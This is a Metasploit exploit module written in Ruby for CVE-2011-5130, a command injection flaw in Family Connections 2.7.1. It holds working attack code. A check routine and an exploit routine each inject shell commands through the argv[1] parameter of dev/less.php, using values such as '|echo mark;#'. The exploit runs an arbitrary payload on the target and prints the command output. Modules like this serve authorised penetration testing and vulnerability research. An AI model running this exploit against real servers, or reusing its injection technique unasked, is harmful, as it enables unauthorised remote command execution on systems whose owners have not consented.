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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Family Connections less.php Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
Family Connections 2.7.1. It's in the dev/less.php script and is due
to an insecure use of system(). Authentication isn't required to exploit
the vulnerability but register_globals must be set to On.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # Vulnerability discovery and exploit
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2011-5130' ],
[ 'OSVDB', '77492' ],
[ 'URL', 'https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/' ],
[ 'URL', 'http://sourceforge.net/apps/trac/fam-connections/ticket/407' ],
[ 'URL', 'http://rwx.biz.nf/advisories/fc_cms_rce_adv.html' ],
[ 'EDB', '18198' ]
],
'Privileged' => false,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet perl ruby python',
}
},
'Platform' => %w{ linux unix },
'Arch' => ARCH_CMD,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'Nov 29 2011',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]),
])
end
def check
uri = normalize_uri(datastore['URI'])
uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"
mark = Rex::Text.rand_text_alpha(rand(5) + 5)
res = send_request_cgi({
'uri' => uri,
'vars_get' => { 'argv[1]' => "|echo #{mark};#" }
}, 25)
if res and res.code == 200 and res.body =~ /#{mark}/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
uri = normalize_uri(datastore['URI'])
uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"
start_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
end_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#"
res = send_request_cgi({
'uri' => uri,
'vars_get' => { 'argv[1]' => custom_payload }
}, 25)
if res and res.code == 200 and res.body =~ /#{start_mark}/
# Prints output when using cmd/unix/generic
result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0]
if not result.strip.empty?
print_status("Result of the command:\n#{result}")
end
end
end
end